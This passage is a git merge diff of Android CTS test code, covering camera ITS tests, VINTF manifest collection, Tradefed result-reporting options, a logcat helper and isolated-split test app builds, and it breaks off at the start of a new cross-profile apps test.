Merge "CTS test for preferred phone account columns"
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
index 10e100d..343c960 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
@@ -38,6 +38,9 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+ if 0 in props['android.shading.availableModes']:
+ req["android.shading.mode"] = 0
+
max_raw_size = \
its.objects.get_available_output_sizes("raw", props)[0]
w,h = its.objects.get_available_output_sizes(
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
index be5f701..6ecdca7 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
@@ -38,6 +38,9 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+ if 0 in props['android.shading.availableModes']:
+ req["android.shading.mode"] = 0
+
max_raw10_size = \
its.objects.get_available_output_sizes("raw10", props)[0]
w,h = its.objects.get_available_output_sizes(
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index 86d96f1..197f62a 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -56,7 +56,8 @@
template = cv2.imread(CHART_FILE, cv2.IMREAD_ANYDEPTH)
# take img, crop chart, scale and prep for cv2 template match
- req = its.objects.auto_capture_request()
+ s, e, _, _, fd = cam.do_3a(get_results=True)
+ req = its.objects.manual_capture_request(s, e, fd)
cap = cam.do_capture(req, fmt)
y, _, _ = its.image.convert_capture_to_planes(cap, props)
y = its.image.rotate_img_per_argv(y)
@@ -65,6 +66,9 @@
patch = 255 * its.cv2image.gray_scale_img(patch)
patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
+ # sanity check on image
+ assert np.max(patch)-np.min(patch) > 255/8
+
# save full images if in debug
if debug:
its.image.write_image(template[:, :, np.newaxis]/255.0,
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
index 750e45f..c48d16f 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
@@ -64,15 +64,23 @@
Set<String> mActivityList = new HashSet<String>();
+ static File makeResultDir() {
+ final File dir = new File(Environment.getExternalStorageDirectory(), "device-info-files");
+ if (!dir.mkdirs() && !dir.isDirectory()) {
+ return null;
+ }
+ return dir;
+ }
+
public void testCollectDeviceInfo() throws Exception {
if (!mActivityList.contains(getClass().getName())) {
return;
}
- final File dir = new File(Environment.getExternalStorageDirectory(), "device-info-files");
+ final File dir;
if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
failed("External storage is not mounted");
- } else if (!dir.mkdirs() && !dir.isDirectory()) {
+ } else if ((dir = makeResultDir()) == null) {
failed("Cannot create directory for device info files");
} else {
try {
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfFilesCollector.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfFilesCollector.java
new file mode 100644
index 0000000..89997f0
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfFilesCollector.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.deviceinfo;
+
+import android.test.InstrumentationTestCase;
+import android.os.Environment;
+import android.os.Build;
+import android.os.VintfObject;
+import com.google.common.collect.ImmutableMap;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.StringReader;
+import java.io.Writer;
+import java.util.Map;
+import java.util.function.Supplier;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Device-side VINTF files collector. Uses {@link android.os.VintfObject} to collect VINTF manifests
+ * and compatibility matrices.
+ */
+public final class VintfFilesCollector extends InstrumentationTestCase {
+
+ private static final String FRAMEWORK_MANIFEST_NAME = "framework_manifest.xml";
+ private static final String FRAMEWORK_MATRIX_NAME = "framework_compatibility_matrix.xml";
+ private static final String DEVICE_MANIFEST_NAME = "device_manifest.xml";
+ private static final String DEVICE_MATRIX_NAME = "device_compatibility_matrix.xml";
+
+ public void testCollectVintfFiles() throws Exception {
+
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
+ // No VINTF before O.
+ return;
+ }
+
+ assertTrue("External storage is not mounted",
+ Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED));
+ File dir = DeviceInfo.makeResultDir();
+ assertNotNull("Cannot create directory for device info files", dir);
+ collect(dir);
+ }
+
+
+ // report() doesn't distinguish the four XML Strings, so we have to guess.
+ private static void collect(File dir) throws Exception {
+ for (String content : VintfObject.report()) {
+ String fileName = guessFileName(content);
+ if (fileName != null) {
+ writeStringToFile(content, new File(dir, fileName));
+ }
+ }
+ }
+
+ private static void writeStringToFile(String content, File file) throws Exception {
+ if (content == null || content.isEmpty()) {
+ return;
+ }
+ try (Writer os = new FileWriter(file)) {
+ os.write(content);
+ }
+ }
+
+ // Guess a suitable file name for the given XML string. Return null if
+ // it is not an XML string, or no suitable names can be provided.
+ private static String guessFileName(String content) throws Exception {
+ try {
+ XmlPullParser parser = XmlPullParserFactory.newInstance().newPullParser();
+ parser.setInput(new StringReader(content));
+
+ for (int eventType = parser.getEventType(); eventType != XmlPullParser.END_DOCUMENT;
+ eventType = parser.next()) {
+
+ if (eventType == XmlPullParser.START_TAG) {
+ String tag = parser.getName();
+ if (parser.getDepth() != 1) {
+ continue; // only parse top level tags
+ }
+
+ String type = parser.getAttributeValue(null, "type");
+ if ("manifest".equals(tag)) {
+ if ("framework".equals(type)) {
+ return FRAMEWORK_MANIFEST_NAME;
+ }
+ if ("device".equals(type)) {
+ return DEVICE_MANIFEST_NAME;
+ }
+ }
+ if ("compatibility-matrix".equals(tag)) {
+ if ("framework".equals(type)) {
+ return FRAMEWORK_MATRIX_NAME;
+ }
+ if ("device".equals(type)) {
+ return DEVICE_MATRIX_NAME;
+ }
+ }
+ }
+ }
+ } catch (XmlPullParserException ex) {
+ return null;
+ }
+ return null;
+ }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index c9e8d90..48ed864 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -233,18 +233,6 @@
}
/**
- * @return a {@link File} representing the directory to store screenshots taken while testing.
- * @throws FileNotFoundException if the directory structure is not valid.
- */
- public File getScreenshotsDir() throws FileNotFoundException {
- File screenshotsDir = new File(getResultDir(), "screenshots");
- if (!screenshotsDir.exists()) {
- screenshotsDir.mkdirs();
- }
- return screenshotsDir;
- }
-
- /**
* @return a {@link File} representing the test modules directory.
* @throws FileNotFoundException if the directory structure is not valid.
*/
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 4448b91..51f8c06 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -84,6 +84,7 @@
public class ResultReporter implements ILogSaverListener, ITestInvocationListener,
ITestSummaryListener, IShardableListener {
+ public static final String INCLUDE_HTML_IN_ZIP = "html-in-zip";
private static final String UNKNOWN_DEVICE = "unknown_device";
private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
private static final String CTS_PREFIX = "cts:";
@@ -133,6 +134,10 @@
@Option(name = "compress-logs", description = "Whether logs will be saved with compression")
private boolean mCompressLogs = true;
+ @Option(name = INCLUDE_HTML_IN_ZIP,
+ description = "Whether failure summary report is included in the zip fie.")
+ private boolean mIncludeHtml = false;
+
private CompatibilityBuildHelper mBuildHelper;
private File mResultDir = null;
private File mLogDir = null;
@@ -540,10 +545,17 @@
copyRetryFiles(ResultHandler.getResultDirectory(
mBuildHelper.getResultsDir(), mRetrySessionId), mResultDir);
}
+ File failureReport = null;
+ if (mIncludeHtml) {
+ // Create the html report before the zip file.
+ failureReport = ResultHandler.createFailureReport(resultFile);
+ }
File zippedResults = zipResults(mResultDir);
- // Create failure report after zip file so extra data is not uploaded
- File failureReport = ResultHandler.createFailureReport(resultFile);
- if (failureReport.exists()) {
+ if (!mIncludeHtml) {
+ // Create failure report after zip file so extra data is not uploaded
+ failureReport = ResultHandler.createFailureReport(resultFile);
+ }
+ if (failureReport != null && failureReport.exists()) {
info("Test Result: %s", failureReport.getCanonicalPath());
} else {
info("Test Result: %s", resultFile.getCanonicalPath());
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
index 673527d..87f2436 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
@@ -115,6 +115,11 @@
importance = Importance.NEVER)
private String mAbiName = null;
+ @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
+ description = "the subplan used in the previous session",
+ importance = Importance.NEVER)
+ private String mLastSubPlan;
+
File mSubPlanFile = null;
IInvocationResult mResult = null;
@@ -214,6 +219,11 @@
// add filters from previous session to track which tests must run
subPlan.addAllIncludeFilters(mIncludeFilters);
subPlan.addAllExcludeFilters(mExcludeFilters);
+ if (mLastSubPlan != null) {
+ ISubPlan lastSubPlan = SubPlanHelper.getSubPlanByName(buildHelper, mLastSubPlan);
+ subPlan.addAllIncludeFilters(lastSubPlan.getIncludeFilters());
+ subPlan.addAllExcludeFilters(lastSubPlan.getExcludeFilters());
+ }
if (mModuleName != null) {
addIncludeToSubPlan(subPlan, new TestFilter(mAbiName, mModuleName, mTestName));
}
diff --git a/common/util/src/com/android/compatibility/common/util/LogcatInspector.java b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
index 8b64c67..ed82307 100644
--- a/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
+++ b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
@@ -25,31 +25,27 @@
protected abstract InputStream executeShellCommand(String command) throws IOException;
/**
- * Attempts to clear logcat and logs an unique string using tag {@param tag}.
- *
- * <p>Clearing logcat is known to be unreliable. This unique string is returned and can be used
- * to find this point in the log even if clearing failed.
+ * Logs an unique string using tag {@param tag} and wait until it appears to continue execution.
*
* @return a unique separator string.
* @throws IOException if error while executing command.
*/
- public String clearAndMark(String tag) throws IOException {
- executeShellCommand("logcat -c");
+ public String mark(String tag) throws IOException {
String uniqueString = ":::" + UUID.randomUUID().toString();
executeShellCommand("log -t " + tag + " " + uniqueString);
// This is to guarantee that we only return after the string has been logged, otherwise
// in practice the case where calling Log.?(<message1>) right after clearAndMark() resulted
// in <message1> appearing before the unique identifier. It's not guaranteed per the docs
- // that log command will have written when returning, so better be safe. 3s should be fine.
- assertLogcatContainsInOrder(tag + ":* *:S", 3, uniqueString);
+ // that log command will have written when returning, so better be safe. 5s should be fine.
+ assertLogcatContainsInOrder(tag + ":* *:S", 5, uniqueString);
return uniqueString;
}
/**
* Wait for up to {@param maxTimeoutInSeconds} for the given {@param logcatStrings} strings to
* appear in logcat in the given order. By passing the separator returned by {@link
- * #clearAndMark(String)} as the first string you can ensure that only logs emitted after that
- * call to clearAndMark() are found. Repeated strings are not supported.
+ * #mark(String)} as the first string you can ensure that only logs emitted after that
+ * call to mark() are found. Repeated strings are not supported.
*
* @throws AssertionError if the strings are not found in the given time.
* @throws IOException if error while reading.
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 0834642..3231710 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -18,20 +18,25 @@
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_SDK_VERSION := current
+# Feature splits are dependent on this base, so it must be exported.
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
-# Tag this module as a cts test artifact
-
include $(BUILD_CTS_SUPPORT_PACKAGE)
+# Build the other splits.
include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 48b4e3b..dd76592 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -17,20 +17,32 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Feature splits are dependent on this split, so it must be exported.
LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS += --custom-package com.android.cts.isolatedsplitapp.feature_a
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
LOCAL_AAPT_FLAGS += --package-id 0x80
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d3aed1d..958b8d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,17 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_a"
featureSplit="feature_a">
<application>
- <activity android:name=".feature_a.FeatureAActivity">
+ <activity android:name=".FeatureAActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_a.FeatureAReceiver">
+ <receiver android:name=".FeatureAReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 64b5fc3..240fc2c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -17,19 +17,29 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base and feature A.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp CtsIsolatedSplitAppFeatureA
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_b
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
LOCAL_AAPT_FLAGS += --package-id 0x81
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 00c2d6c..d89a1f2 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,19 +15,19 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_b"
featureSplit="feature_b">
<uses-split android:name="feature_a" />
<application>
- <activity android:name=".feature_b.FeatureBActivity">
+ <activity android:name=".FeatureBActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_b.FeatureBReceiver">
+ <receiver android:name=".FeatureBReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index f21d1d0..35b3252 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -17,19 +17,29 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_c
-LOCAL_AAPT_FLAGS += --package-id 0x82
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Use the same package ID as feature A, since this is an isolated split and
+# will not be loaded together with feature A.
+LOCAL_AAPT_FLAGS += --package-id 0x80
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index ac3a57f..64b087c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,17 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_c"
featureSplit="feature_c">
<application>
- <activity android:name=".feature_c.FeatureCActivity">
+ <activity android:name=".FeatureCActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_c.FeatureCReceiver">
+ <receiver android:name=".FeatureCReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 2f6af13..b85e21b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -45,15 +45,20 @@
@RunWith(AndroidJUnit4.class)
public class SplitAppTest {
private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
+
private static final ComponentName FEATURE_A_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
private static final ComponentName FEATURE_B_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
private static final ComponentName FEATURE_C_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_c.FeatureCActivity");
- private static final String FEATURE_A_STRING = PACKAGE + ":string/feature_a_string";
- private static final String FEATURE_B_STRING = PACKAGE + ":string/feature_b_string";
- private static final String FEATURE_C_STRING = PACKAGE + ":string/feature_c_string";
+
+ private static final String FEATURE_A_STRING =
+ "com.android.cts.isolatedsplitapp.feature_a:string/feature_a_string";
+ private static final String FEATURE_B_STRING =
+ "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
+ private static final String FEATURE_C_STRING =
+ "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
private static final Configuration PL = new Configuration();
static {
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
new file mode 100644
index 0000000..fca48d3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCrossProfileAppsTests
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test \
+ truth-prebuilt \
+ ub-uiautomator
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
new file mode 100644
index 0000000..79093d6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.crossprofileappstest">
+
+ <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".MainActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+
+ <activity android:name=".NonMainActivity" android:exported="true"/>
+
+ <activity android:name=".NonExportedActivity" android:exported="false">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.crossprofileappstest"
+ android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
new file mode 100644
index 0000000..877d890
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <TextView
+ android:id="@+id/user_textview"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
new file mode 100644
index 0000000..3ade25a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
